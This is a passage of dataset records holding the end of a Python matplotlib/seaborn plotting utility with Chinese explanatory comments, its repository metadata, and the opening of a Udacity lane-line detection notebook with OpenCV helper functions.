plt.title(title_)\n        # plt.title(_title, loc='left', verticalalignment='bottom', fontsize=12, fontweight='bold', color='blue',\n        #           rotation=3, bbox=dict(facecolor='g', edgecolor='blue', alpha=0.5))\n    if xlabel_ is not None:\n        plt.xlabel(xlabel_)\n        # plt.xlabel(_xlabel, fontsize=8, fontproperties='SimHei')\n    if ylabel_ is not None:\n        plt.ylabel(ylabel_)\n    if xlim_ is not None:\n        plt.xlim(xlim_)  # \u5143\u7ec4(min, max)\n    if ylim_ is not None:\n        plt.ylim(ylim_)  # \u5143\u7ec4(min, max)\n    if is_legend is not None:\n        plt.legend(prop={'size': 8})\n        # plt.legend(loc=0, prop={'size': 10, 'weight': 'normal', 'family': 'Times New Roman'})\n        # https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.legend.html\n    if is_grid:\n        # plt.grid()\n        plt.grid(which='major', axis='both', linestyle='-.')  # ['major','minor','both'] ['x','y','both']\n        # https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.grid.html\n\n\ndef foo_plt_advanced_setting():\n    # \u6dfb\u52a0\u6587\u672c\u6ce8\u91ca, xy\u662f\u6ce8\u91ca\u70b9\u5750\u6807, xytext\u662f\u6587\u672c\u5750\u6807, \u53ef\u4ee5\u7bad\u5934(\u6587\u672c\u6307\u5411\u6ce8\u91ca\u70b9)\n    plt.annotate('Annotate', xy=(8, 5), xytext=(5, 40), arrowprops=dict(facecolor='red', shrink=0))\n\n    # \u8bbe\u7f6e\u753b\u5e03\u80cc\u666f\u8272\n    plt.gcf().set_facecolor('#CCFFFF')\n\n    # # \u8bbe\u7f6e\u8f74\u503c\u8303\u56f4[xmin,xmax,ymin,ymax], \u7b49\u6548\u4e8e\u540c\u65f6\u8bbe\u7f6eplt.xlim + ylim\n    # plt.axis([0, 10, 0, 100])\n    #\n    # # \u8bbe\u7f6e\u8f74\u6807\u7b7e, \u7b2c\u4e00\u4e2a\u6570\u7ec4\u53c2\u6570\u662f\u503c\uff0c\u7b2c\u4e8c\u4e2a\u6570\u7ec4\u53c2\u6570\u6587\u672c\u663e\u793a(\u53ef\u9009)\n    # plt.xticks([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10])\n    # plt.yticks([0, 20, 60, 80, 100],\n    #            [r'really\\ bad', r'$bad$', r'$normal$', r'$good$', r'$readly\\ good$'])\n\n\ndef foo_axes_advanced_setting():\n    \"\"\" \u56fe\u8868\u533a\u7684\u8be6\u7ec6\u8bbe\u7f6e, \u56fe\u8868(axes)\u7684\u8bbe\u7f6e\u4f1a\u8986\u76d6\u7ed8\u56fe\u677f(plt)\u7684\u8bbe\u7f6e \"\"\"\n    ax = plt.gca()  # Get Current Axes'\n\n    # \u8bbe\u7f6e\u56fe\u8868\u533a\u57df\u8fb9\u6846\u989c\u8272(\u65e0\u8272\u4e3a'none')\n    ax.spines['top'].set_color('red')\n    ax.spines['bottom'].set_color('blue')\n    ax.spines['left'].set_color('green')\n    ax.spines['right'].set_color('yellow')\n\n    # \u8bbe\u7f6e\u56fe\u8868\u533a\u57df\u8fb9\u6846\u4f4d\u7f6e\n    ax.spines['bottom'].set_position(('data', 10))\n    ax.spines['left'].set_position(('data', 2))\n\n    # # \u83b7\u53d6\u5750\u6807\u8f74\u6807\u7b7e\u7684\u4fe1\u606f: \u6807\u7b7e/\u5bf9\u5e94\u503c/\u683c\u5f0f\n    # ax.xaxis.get_major_ticks()\n    # ax.xaxis.get_minor_ticks()\n    # ax.xaxis.get_major_locator()\n    # ax.xaxis.get_minor_locator()\n    # ax.xaxis.get_major_formatter()\n    # ax.xaxis.get_minor_formatter()\n\n    # \u8bbe\u7f6e\u5750\u6807\u8f74\u6807\u7b7e\u4f4d\u7f6e\n    ax.xaxis.set_ticks_position('top')\n    ax.yaxis.set_ticks_position('right')\n\n    # \u8bbe\u7f6e\u5750\u6807\u8f74\u6807\u7b7e\u548c\u6837\u5f0f\n    ax.set_xticks([1, 2, 3, 4, 5])\n    ax.set_xticklabels(['a', 'b', 'c', 'd', 'e'])\n    ax.set_xlim(0, 11)\n    ax.set_xlabel('X axis', {'family': 'Times New Roman', 'weight': 'normal', 'size': 20, })\n\n    # \u8bbe\u7f6e\u5750\u6807\u8f74\u7ebf\u6837\u5f0f\n    ax.axhline(0, color=\"k\", clip_on=False)\n\n    # \u8bbe\u7f6e\u56fe\u4f8b\n    ax.legend()\n\n    # \u8bbe\u7f6e\u4e3b/\u6b21\u8f74\u6807\u7b7e(\u8bbe\u7f6e\u540e\u624d\u6709\u4e3b/\u6b21\u7f51\u683c\u7ebf)\n    ax.xaxis.set_major_locator(MultipleLocator(2))  # plt.MultipleLocator\u76f8\u540c\n    ax.xaxis.set_minor_locator(MultipleLocator(0.5))\n    ax.yaxis.set_major_locator(MultipleLocator(10))\n    ax.yaxis.set_minor_locator(MultipleLocator(5))\n    ax.grid(which='minor', axis='x', color='orangered', linestyle=':', linewidth=0.75)\n\n    ax.xaxis.grid(True, which='major')  # x\u5750\u6807\u8f74\u7684\u7f51\u683c\u4f7f\u7528\u4e3b\u523b\u5ea6\n    ax.yaxis.grid(True, which='minor')  # y\u5750\u6807\u8f74\u7684\u7f51\u683c\u4f7f\u7528\u6b21\u523b\u5ea6\n\n    # \u8bbe\u7f6e\u523b\u5ea6\u6807\u7b7e\u7684\u6587\u672c\u683c\u5f0f\n    ax.xaxis.set_major_formatter(FormatStrFormatter('%.0f'))\n\n    # \u4f7f\u7528\u7528\u6237\u51fd\u6570\u6765\u5b9a\u4e49\u523b\u5ea6\u683c\u5f0f\n    # \u9996\u5148\u8981\u5b9a\u4e49\u4e00\u4e2a\u683c\u5f0f\u51fd\u6570, \u9700\u8981\u4e24\u4e2a\u53c2\u6570:\u6807\u7b7e\u5185\u5bb9\u503c\u548c\u4f4d\u7f6e, \u8fd4\u56de\u5bf9\u5e94\u4f4d\u7f6e\u7684\u683c\u5f0f\u5316\u540e\u7684\u5b57\u7b26\u4e32\n    def _foo_tick(x, pos):\n        # x:  tick value - ie. what you currently see in yticks\n        # pos: a position - ie. the index of the tick (from 0 to 9 in this example)\n        if not x % 1.0:\n            return ''\n        return '%.2f' % x\n    # FuncFormatter\u5c06\u683c\u5f0f\u51fd\u6570\u8f6c\u6362\u4e3aformatter\u5bf9\u8c61\n    ax.xaxis.set_minor_formatter(FuncFormatter(_foo_tick))\n\n    # \u8bbe\u7f6e\u5750\u6807\u8f74\u6807\u7b7e\u683c\u5f0f\n    ax.tick_params('x', which='minor', length=5, width=1.0, labelsize=5, labelcolor='0.25')\n\n    # # \u5220\u9664\u5750\u6807\u8f74\u7684\u6807\u7b7e\u523b\u5ea6\n    # ax.yaxis.set_major_locator(plt.NullLocator())\n    # ax.xaxis.set_major_formatter(plt.NullFormatter())\n\n\ndef foo_plt_plot(label_, *args):\n    \"\"\"\n    https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.plot.html#matplotlib.pyplot.plot\n    :param label_: \u6570\u636e\u6807\u7b7e\n    :param args: x\u503c, y\u503c\n    :return: none\n    \"\"\"\n    # if len(args) == 1:\n    #     plt.plot(*zip(*enumerate(args[0])), label='%s [Mean:%.2f]' % (label_, np.mean(args[0])))\n    # elif len(args) > 1:\n    #     plt.plot(args[0], args[1], label='%s [Mean:%.2f]' % (label_, np.mean(args[1])))\n\n    # \u66f4\u591a\u53c2\u6570\u6837\u4f8b:\n    plt.plot(args[0], args[1], marker='o', markersize=2, linewidth=2)\n    # plot\u53ef\u4ee5\u7528\u6570\u7ec4\u7ed8\u5236\u5e76\u8fd4\u56de\u7ebf\u6761\u7ec4: linesList=plt.plot(x1, y1, x2, y2, x3, y3..)\n    # \u7528plt.setp\u65b9\u6cd5\u53ef\u4ee5\u540c\u65f6\u8bbe\u7f6e\u591a\u4e2a\u7ebf\u6761\u7684\u5c5e\u6027, plt.setp(linesList, color='r')\n\n\ndef foo_plt_scatter(label_, arr_x, arr_y):\n    \"\"\"\n    https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.scatter.html#matplotlib.pyplot.scatter\n    :param label_: \u6570\u636e\u6807\u7b7e\n    :param arr_x: x\u503c\n    :param arr_y: y\u503c\n    :return: None\n    \"\"\"\n    plt.scatter(arr_x, arr_y, label='%s [Mean:%.2f]' % (label_, np.mean(arr_y)))\n    # \u66f4\u591a\u53c2\u6570\u6837\u4f8b:\n    # plt.scatter(arr_x, arr_y, s=10, color='blue', marker='*', alpha=0.5, linewidths=2, edgecolors='red')\n\n    # # \u6269\u5c55: \u5b9a\u4e49\u4e00\u4e2a\u957f\u5ea6\u548c\u6570\u636e\u4e00\u81f4\u7684\u989c\u8272\u6570\u7ec4\u4e3a\u6bcf\u4e00\u4e2a\u70b9\u67d3\u8272\n    # _colours = ['Crimson', 'Blue', 'Fuchsia', 'Tomato', 'Indigo', 'Turquoise', 'Brown', 'Wheat']\n    # plt.scatter(_arr_x, _arr_x, color=_colours)\n\n\ndef foo_plt_stem(label_, arr_x, arr_y):\n    \"\"\"\n    https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.stem.html\n    :param label_: \u6570\u636e\u6807\u7b7e\n    :param arr_x: x\u503c\n    :param arr_y: y\u503c\n    :return: None\n    \"\"\"\n    _markerline, _stemlines, _baseline = plt.stem(arr_x, arr_y, label=label_)\n    # \u66f4\u591a\u53c2\u6570\u6837\u4f8b:\n    # plt.stem(arr_x, arr_y, label=_label, linefmt='--', markerfmt='d', basefmt='C13-', bottom=10)\n\n    # # \u5355\u72ec\u6216\u6279\u91cf\u8bbe\u7f6e\u68c9\u68d2\u672b\u7aef, \u68c9\u68d2\u8fde\u7ebf\u548c\u57fa\u7ebf\u7684\u5c5e\u6027\n    # plt.setp(_markerline, color='k')  # \u5c06\u68c9\u68d2\u672b\u7aef\u8bbe\u7f6e\u4e3a\u9ed1\u8272\n\n\ndef foo_plt_bar(label_, arr_bars, arr_tag=None, bottom_=0, width_=0.75, overlap=False):\n    \"\"\"\n    https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.bar.html\n    pyplot\u7684\u67f1\u72b6\u56fe\u662f\u7ed8\u5236\u76f8\u5bf9\u57fa\u51c6\u503c(bottom, \u9ed8\u8ba4\u4e3a0)\u7684\u504f\u79bb\u5ea6(height)\n    \u672c\u51fd\u6570\u4e3a\u7edd\u5bf9\u67f1\u5f62\u56fe,\u5927\u4e8e\u57fa\u51c6\u503c\u67f1\u5f62\u5411\u4e0a,\u5c0f\u4e8e\u57fa\u51c6\u503c\u67f1\u5f62\u5411\u4e0b\n    :param label_: \u6570\u636e\u6807\u7b7e\n    :param arr_bars: \u5d4c\u5957\u5217\u8868,\u7b2c\u4e00\u5c42\u4e3a\u6570\u636e\u7ec4,\u7b2c\u4e8c\u5c42\u4e3a\u6570\u636e\u503c\u7cfb\u5217\n    :param arr_tag: x\u8f74\u6807\u7b7e\n    :param bottom_: \u57fa\u51c6\u503c\n    :param width_: \u67f1\u5f62\u603b\u5bbd\u5ea6(\u591a\u7ec4\u6570\u636e\u5747\u5206)\n    :return: None\n    \"\"\"\n    def tick_shift(x, pos, bottom):\n        return '%.0f' % (x + bottom)\n\n    _num = len(arr_bars)\n    if overlap:\n        _width, _shift = width_, width_/_num\n    else:\n        _width, _shift = width_/_num, width_/_num\n\n    for _i in range(_num):\n        _bars = np.asarray(arr_bars[_i]) - bottom_\n        arr_x = np.asarray(range(len(_bars))) + _i * _shift\n        plt.bar(arr_x, _bars, label=label_, width=_width)\n        # \u66f4\u591a\u53c2\u6570\u6837\u4f8b:\n        # plt.bar(arr_x, arr_y, alpha=0.9, width=0.35, facecolor='lightskyblue', edgecolor='white', lw=1)\n\n    formatter = FuncFormatter(lambda x, pos: tick_shift(x, pos, bottom_))\n    ax = plt.gca()\n    ax.yaxis.set_major_formatter(formatter)\n\n    if arr_tag is not None:\n        plt.xticks(range(len(arr_tag)), arr_tag)\n\n\ndef gen_sample_data_array(n=100):\n    from random import randint\n    _arr_x = np.linspace(2, 10, n)\n    _arr_y = _arr_x ** 4 * randint(1, 5) * randint(-1, 1) + \\\n             _arr_x ** 3 * randint(1, 8) * randint(-1, 1) + \\\n             _arr_x ** 2 * randint(1, 10) * randint(-1, 1) + \\\n             _arr_x * randint(1, 15) * randint(-1, 1)\n    _arr_d = np.random.randint(-500, 500, n)\n    return _arr_x, _arr_y + _arr_d\n\n\nif __name__ == \"__main__\":\n    \"\"\" matplotlib.pyplot\u7ed8\u56fe \"\"\"\n    # \u65b0\u5efa\u7ed8\u56fe\u753b\u677f, \u9ed8\u8ba4\u4f1a\u751f\u6210\u4e00\u4e2aaxes(\u753b\u5e03/\u7ed8\u56fe\u533a)\uff0c\u4e00\u4e2a\u753b\u677f\u4e0a\u53ef\u4ee5\u6709\u591a\u4e2a\u753b\u5e03\n    # plt.figure()\n\n    # for i in range(3):\n    #     x_values, y_values = gen_sample_data_array()\n    #     # \u6dfb\u52a0\u6563\u70b9\u5e73\u6ed1\u7ebf\n    #     foo_plt_plot('sample-%d' % i, x_values, y_values)\n    #\n    # x_values, y_values = gen_sample_data_array()\n    # # \u6dfb\u52a0\u6563\u70b9\u56fe\n    # foo_plt_scatter('sample-scatter', x_values, y_values)\n    #\n    # x_values, y_values = gen_sample_data_array(10)\n    # # \u6dfb\u52a0\u68c9\u68d2\u56fe\n    # foo_plt_stem('sample-stem', x_values, y_values)\n    #\n    # arr_bars = []\n    # for i in range(2):\n    #     x_values, y_values = gen_sample_data_array(10)\n    #     arr_bars.append(y_values)\n    # # # \u6dfb\u52a0\u67f1\u5f62\u56fe\u56fe\n    # foo_plt_bar('sample-bar', arr_bars, bottom_=-2, arr_tag=['a','b','c','c','e','f','g'], width_=0.7)\n\n    # # \u8bbe\u7f6e\u56fe\u8868\u57fa\u7840\u683c\u5f0f,\u5982\u6807\u9898/\u8f74\u6807\u9898/\u7f51\u683c/\u8f74\u503c\u57df\u7b49\n    # foo_plt_basic_setting(title_='This_is_a_sample', xlabel_='x value(dB)', ylabel_='y value(Mbit/s)',\n    #                       xlim_=None, ylim_=None)\n    #\n    # foo_plt_advanced_setting()\n    # foo_axes_advanced_setting()\n\n    \"\"\" seanborn\u7ed8\u56fe \"\"\"\n    arr = []\n    for i in range(3):\n        x_values, y_values = gen_sample_data_array(30)\n        arr.append(np.transpose(np.vstack((x_values, y_values, np.ones_like(x_values) * i, np.ones_like(x_values) * i,\n                                           np.random.randint(1, 5, size=30)))))\n\n    # \u4f7f\u7528dataframe\u683c\u5f0f\u4f5c\u4e3aseaborn\u6570\u636e\u6e90\u66f4\u4fbf\u6377\n    df = pd.DataFrame(np.concatenate(arr), columns=['x', 'y', 'hue', 'style', 'size'])\n\n    ''' seanborn\u6563\u70b9\u56fescatterplot/\u7ebf\u56felineplot/\u5173\u7cfb\u56ferelplot: \u4e00\u822c\u6563\u70b9\u56fe '''\n    # # relplot\u662fscatterplot\u548clineplot\u7684\u96c6\u5408, \u901a\u8fc7\u53c2\u6570\u6307\u5b9a\u7c7b\u578bkind='line'\n    # # \u5e38\u7528\u53c2\u6570:\n    # # hue, style, size\u5206\u7ec4\n    # # \u989c\u8272palette=['b', 'r']\n    # # \u5206\u522b\u753b\u5b50\u56fecol='time',row='sex'\n    # ax = sns.scatterplot(x='x', y='y', hue='hue', data=df)\n    # # ax = sns.lineplot(x='x', y='y', markers=True, dashes=False, data=df)\n\n    ''' seanborn\u76f4\u65b9\u56fedistplot: \u53d8\u91cf\u7684\u5206\u5e03\u89c4\u5f8b '''\n    # # \u5e38\u7528\u53c2\u6570:\n    # # kde=False, \u4e0d\u663e\u793a\u5bc6\u5ea6\u66f2\u7ebf\n    # # ax=axes[0], \u6307\u5b9a\u753b\u5e03\n    # # rug=True, \u663e\u793a\u8fb9\u9645\u6bdb\u6bef\n    # # hist_kws, kde_kws, rug_kws, \u8be6\u7ec6\u7684\u683c\u5f0f\u8bbe\u7f6e\n    #\n    # # \u521b\u5efa1\u884c2\u5217\u753b\u5e03\u65b9\u4fbf\u5bf9\u6bd4\n    # fig, axes = plt.subplots(1, 2)\n    #\n    # hue = df['hue'].dropna()  # distplot\u4e0d\u80fd\u5904\u7406\u7f3a\u5931\u6570\u636e, \u9700\u8981\u53bb\u9664\u7f3a\u5931\u503c(\u53ef\u9009)\n    # sns.distplot(hue, rug=True, ax=axes[0])\n    # sns.distplot(df['size'], kde=False, ax=axes[1], hist_kws={'color': 'green', 'label': 'hist'})\n\n    ''' seanborn\u6761\u5f62\u56febarplot: \u6570\u503c\u53d8\u91cf\u7684\u96c6\u4e2d\u8d8b\u52bf\u548c\u7f6e\u4fe1\u533a\u95f4 '''\n    # # \u5e38\u7528\u53c2\u6570:\n    # # estimator=median/max, \u7edf\u8ba1\u65b9\u6cd5\n    # # order/hue_order, \u6807\u9898\u6570\u7ec4, \u53ef\u4ee5\u63a7\u5236\u6761\u5f62\u56fe\u7684\u987a\u5e8f\n    # # orient=v/h \u7ed8\u56fe\u65b9\u5411\n    # # errcolor, errwidth \u8bef\u5dee\u7ebf\u7684\u683c\u5f0f\n    #\n    # sns.barplot(x='style', y='y', hue='size', data=df)\n    # # ax = plt.gca()\n    # # ax.axhline(0, color=\"k\", clip_on=False)\n    #\n    # # countplot\u5373\u7b80\u5316\u7248\u7684barplot, \u53ea\u6709\u8ba1\u6570\u7684\u67f1\u5f62\n    # # sns.countplot(x='style', hue='size', data=df)\n    # # sns.countplot(y='style', hue='size', data=df)\n\n    ''' seanborn\u5206\u5e03\u5bc6\u5ea6\u6563\u70b9\u56fe stripplot/swarmplot: \u89c2\u5bdf\u6570\u636e\u5206\u5e03 '''\n    # # stripplot\u662f\u968f\u673a\u6296\u52a8\u5c55\u5f00, swarmplot\u5219\u662f\u4e0d\u91cd\u590d\u5c55\u5f00,\u9002\u7528\u4e8e\u5c0f\u6570\u636e\u91cf\n    # # \u5e38\u7528\u53c2\u6570:\n    # # jitter=1, \u8c03\u6574\u6296\u52a8\u8303\u56f4\n    # fig, axes = plt.subplots(1, 2)\n    # sns.stripplot(x='size', y='y', hue='style', data=df, ax=axes[0])\n    # sns.swarmplot(x='size', y='y', hue='style', data=df, ax=axes[1])\n\n    ''' seanborn\u7bb1\u7ebf\u56fe stripplot: \u6570\u636e\u5206\u6563\u60c5\u51b5\u7edf\u8ba1[\u5f02\u5e38\u503c/\u6781\u5927\u6781\u5c0f\u503c/\u4e2d\u4f4d\u6570/\u4e0a\u4e0b\u56db\u5206\u4f4d\u6570] '''\n    # # \u53ef\u4ee5\u53e0\u52a0\u5206\u5e03\u6563\u70b9\u56fe:\n    # sns.boxplot(x='style', y='size', data=df, linewidth=1)\n\n    ''' seanborn\u5c0f\u63d0\u7434\u56fe violinplot: \u7bb1\u7ebf\u56fe\u548c\u5bc6\u5ea6\u6563\u70b9\u7684\u7ed3\u5408 '''\n    # # \u5e38\u7528\u53c2\u6570:\n    # # \u5f53hue\u5206\u7ec4\u4e3a2\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7\u8bbe\u7f6esplit\u53c2\u6570\u5de6\u53f3\u663e\u793a\n    # # inner='stick'/None, \u5185\u90e8\u56fe\u5f62\n    # # \u53ef\u4ee5\u53e0\u52a0\u5206\u5e03\u6563\u70b9\u56fe\n    # sns.violinplot(x='style', y='size', data=df, linewidth=1, inner='stick')\n\n    ''' seanborn \u7ebf\u6027\u56de\u5f52\u56fereplot/ \u56de\u5f52\u6a21\u578b\u56felmplot: \u5373\u6563\u70b9\u56fe+\u8d8b\u52bf\u7ebf, \u5206\u6790\u53d8\u91cf\u5173\u8054\u5173\u7cfb '''\n    # # \u5e38\u7528\u53c2\u6570:\n    # # \u989c\u8272\u5206\u7ec4hue, \u6837\u5f0f\u5206\u7ec4style, \u5927\u5c0f\u5206\u7ec4size\n    # # \u7528col\u4ee3\u66ffhue, \u4f1a\u5206\u5f00\u4f5c\u56fe\n    # # color, marker\u53ef\u4ee5\u662f\u6570\u7ec4\u5bf9\u5e94\u591a\u4e2a\u5206\u7ec4\n    # # ci=None, \u7f6e\u4fe1\u533a\u95f4(\u62df\u5408\u7ebf\u7684\u9634\u5f71)\n    # # order \u591a\u9879\u5f0f\u62df\u5408\u9636\u6570\n    # # lowess=True \u5c40\u90e8\u52a0\u6743\u56de\u5f52\u6563\u70b9\u5e73\u6ed1\u6cd5(locally weighted scatterplot smoothing\uff0cLOWESS)\uff0c\u662f\u4e00\u79cd\u975e\u53c2\u6570\u56de\u5f52\u62df\u5408\u7684\u65b9\u5f0f\uff0c\n    # # \u5176\u4e3b\u8981\u601d\u60f3\u662f\u9009\u53d6\u4e00\u5b9a\u6bd4\u4f8b\u7684\u5c40\u90e8\u6570\u636e\uff0c\u62df\u5408\u591a\u9879\u5f0f\u56de\u5f52\u66f2\u7ebf\uff0c\u4ee5\u4fbf\u89c2\u5bdf\u5230\u6570\u636e\u7684\u5c40\u90e8\u89c4\u5f8b\u548c\u8d8b\u52bf\u3002\u9002\u7528\u975e\u7ebf\u6027\u5173\u7cfb\u3002\n\n    # sns.regplot(x='x', y='y', data=df, hue='hue', style='style', size='size')\n    sns.lmplot(x='x', y='y', data=df, hue='hue', lowess=True)\n    # # sns.lmplot(x='x', y='y', data=df)\n\n    ''' seanborn\u590d\u5408\u56fe\u8868\u8054\u5408\u5206\u5e03\u56fejointplot, \u4e2d\u592e\u56fe+\u7ef4\u5ea6\u5206\u5e03'''\n    # # \u5e38\u7528\u53c2\u6570:\n    # # kind : { \u201cscatter\u201d | \u201creg\u201d | \u201cresid\u201d | \u201ckde\u201d | \u201chex\u201d }\u3002\u9ed8\u8ba4\u6563\u70b9\u56fe\uff1b\n    # # stat_func\uff1a\u7528\u4e8e\u8ba1\u7b97\u7edf\u8ba1\u91cf\u5173\u7cfb\u7684\u51fd\u6570\uff1b\n    # # ratio\uff1a\u4e2d\u5fc3\u56fe\u4e0e\u4fa7\u8fb9\u56fe\u7684\u6bd4\u4f8b\uff0c\u8d8a\u5927\u3001\u4e2d\u5fc3\u56fe\u5360\u6bd4\u8d8a\u5927\uff1b\n    # # dropna\uff1a\u53bb\u9664\u7f3a\u5931\u503c\uff1b\n    # # height\uff1a\u56fe\u7684\u5c3a\u5ea6\u5927\u5c0f\uff08\u6b63\u65b9\u5f62\uff09\uff1b\n    # # space\uff1a\u4e2d\u5fc3\u56fe\u4e0e\u4fa7\u8fb9\u56fe\u7684\u95f4\u9694\u5927\u5c0f\uff1b\n    # # xlim\uff0cylim\uff1ax\uff0cy\u7684\u8303\u56f4\n    # sns.jointplot(x='x', y='y', kind='kde', data=df)\n\n    ''' seanborn\u70ed\u529b\u56feheatmap '''\n    # ax = sns.heatmap(data=df[['x', 'y']], annot=True, annot_kws={'size': 9, 'weight': 'bold', 'color': 'w'}, fmt='.2f')\n\n    # seanborn\u5b9a\u4e49\u4e3b\u9898\u98ce\u683c [ticks, dark, white, darkgrid, whitegrid]\n    sns.set(style='darkgrid')\n    sns.set_style('darkgrid')\n    # axes_styles\n\n    # \u5b57\u4f53\u5927\u5c0fsns.set_context [paper, notebook, talk, poster]\n    sns.plotting_context(\"notebook\")\n\n    plt.show()\n", "meta": {"hexsha": "7a0a21370c3e7c9215c8ae13a732cb45b35e504c", "size": 14565, "ext": "py", "lang": "Python", "max_stars_repo_path": "util_plot.py", "max_stars_repo_name": "xiehaosz/pylearn", "max_stars_repo_head_hexsha": "3cd7acc61304b7d9f256afdf44aebcc5732ee092", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "util_plot.py", "max_issues_repo_name": "xiehaosz/pylearn", "max_issues_repo_head_hexsha": "3cd7acc61304b7d9f256afdf44aebcc5732ee092", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "util_plot.py", "max_forks_repo_name": "xiehaosz/pylearn", "max_forks_repo_head_hexsha": "3cd7acc61304b7d9f256afdf44aebcc5732ee092", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.4379562044, "max_line_length": 121, "alphanum_fraction": 0.623343632, "include": true, "reason": "import numpy", "num_tokens": 5631, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4263215925474903, "lm_q2_score": 0.1919327933805054, "lm_q1q2_score": 0.08182509413606547}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Self-Driving Car Engineer Nanodegree\n# \n# \n# ## Project: **Finding Lane Lines on the Road** \n# ***\n# In this project, you will use the tools you learned about in the lesson to identify lane lines on the road.  You can develop your pipeline on a series of individual images, and later apply the result to a video stream (really just a series of images). Check out the video clip \"raw-lines-example.mp4\" (also contained in this repository) to see what the output should look like after using the helper functions below. \n# \n# Once you have a result that looks roughly like \"raw-lines-example.mp4\", you'll need to get creative and try to average and/or extrapolate the line segments you've detected to map out the full extent of the lane lines.  You can see an example of the result you're going for in the video \"P1_example.mp4\".  Ultimately, you would like to draw just one line for the left side of the lane, and one for the right.\n# \n# In addition to implementing code, there is a brief writeup to complete. The writeup should be completed in a separate file, which can be either a markdown file or a pdf document. There is a [write up template](https://github.com/udacity/CarND-LaneLines-P1/blob/master/writeup_template.md) that can be used to guide the writing process. Completing both the code in the Ipython notebook and the writeup template will cover all of the [rubric points](https://review.udacity.com/#!/rubrics/322/view) for this project.\n# \n# ---\n# Let's have a look at our first image called 'test_images/solidWhiteRight.jpg'.  Run the 2 cells below (hit Shift-Enter or the \"play\" button above) to display the image.\n# \n# **Note: If, at any point, you encounter frozen display windows or other confounding issues, you can always start again with a clean slate by going to the \"Kernel\" menu above and selecting \"Restart & Clear Output\".**\n# \n# ---\n\n# **The tools you have are color selection, region of interest selection, grayscaling, Gaussian smoothing, Canny Edge Detection and Hough Tranform line detection.  You  are also free to explore and try other techniques that were not presented in the lesson.  Your goal is piece together a pipeline to detect the line segments in the image, then average/extrapolate them and draw them onto the image for display (as below).  Once you have a working pipeline, try it out on the video stream below.**\n# \n# ---\n# \n# <figure>\n#  <img src=\"examples/line-segments-example.jpg\" width=\"380\" alt=\"Combined Image\" />\n#  <figcaption>\n#  <p></p> \n#  <p style=\"text-align: center;\"> Your output should look something like this (above) after detecting line segments using the helper functions below </p> \n#  </figcaption>\n# </figure>\n#  <p></p> \n# <figure>\n#  <img src=\"examples/laneLines_thirdPass.jpg\" width=\"380\" alt=\"Combined Image\" />\n#  <figcaption>\n#  <p></p> \n#  <p style=\"text-align: center;\"> Your goal is to connect/average/extrapolate line segments to get output like this</p> \n#  </figcaption>\n# </figure>\n\n# **Run the cell below to import some packages.  If you get an `import error` for a package you've already installed, try changing your kernel (select the Kernel menu above --> Change Kernel).  Still have problems?  Try relaunching Jupyter Notebook from the terminal prompt.  Also, consult the forums for more troubleshooting tips.**  \n\n# ## Import Packages\n\n# In[ ]:\n\n\n#importing some useful packages\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport numpy as np\nimport cv2\nimport logging\nfrom matplotlib.widgets import Slider\n#get_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# ## Read in an Image\n\n# In[ ]:\n\n\n#reading in an image\nimage = mpimg.imread('test_images/solidWhiteRight.jpg')\n\n#printing out some stats and plotting\nprint('This image is:', type(image), 'with dimensions:', image.shape)\n# plt.imshow(image)  # if you wanted to show a single color channel image called 'gray', for example, call as plt.imshow(gray, cmap='gray')\n\n\n# ## Ideas for Lane Detection Pipeline\n\n# **Some OpenCV functions (beyond those introduced in the lesson) that might be useful for this project are:**\n# \n# `cv2.inRange()` for color selection  \n# `cv2.fillPoly()` for regions selection  \n# `cv2.line()` to draw lines on an image given endpoints  \n# `cv2.addWeighted()` to coadd / overlay two images  \n# `cv2.cvtColor()` to grayscale or change color  \n# `cv2.imwrite()` to output images to file  \n# `cv2.bitwise_and()` to apply a mask to an image\n# \n# **Check out the OpenCV documentation to learn about these and discover even more awesome functionality!**\n\n# ## Helper Functions\n\n# Below are some helper functions to help get you started. They should look familiar from the lesson!\n\n# In[ ]:\n\n\nimport math\n\ndef grayscale(img):\n    \"\"\"Applies the Grayscale transform\n    This will return an image with only one color channel\n    but NOTE: to see the returned image as grayscale\n    (assuming your grayscaled image is called 'gray')\n    you should call plt.imshow(gray, cmap='gray')\"\"\"\n    return cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n    # Or use BGR2GRAY if you read an image with cv2.imread()\n    # return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    \ndef canny(img, low_threshold, high_threshold):\n    \"\"\"Applies the Canny transform\"\"\"\n    return cv2.Canny(img, low_threshold, high_threshold)\n\ndef gaussian_blur(img, kernel_size):\n    \"\"\"Applies a Gaussian Noise kernel\"\"\"\n    return cv2.GaussianBlur(img, (kernel_size, kernel_size), 0)\n\ndef region_of_interest(img, vertices):\n    \"\"\"\n    Applies an image mask.\n    \n    Only keeps the region of the image defined by the polygon\n    formed from `vertices`. The rest of the image is set to black.\n    `vertices` should be a numpy array of integer points.\n    \"\"\"\n    #defining a blank mask to start with\n    mask = np.zeros_like(img)   \n    \n    #defining a 3 channel or 1 channel color to fill the mask with depending on the input image\n    if len(img.shape) > 2:\n        channel_count = img.shape[2]  # i.e. 3 or 4 depending on your image\n        ignore_mask_color = (255,) * channel_count\n    else:\n        ignore_mask_color = 255\n        \n    #filling pixels inside the polygon defined by \"vertices\" with the fill color    \n    cv2.fillPoly(mask, vertices, ignore_mask_color)\n    \n    #returning the image only where mask pixels are nonzero\n    masked_image = cv2.bitwise_and(img, mask)\n    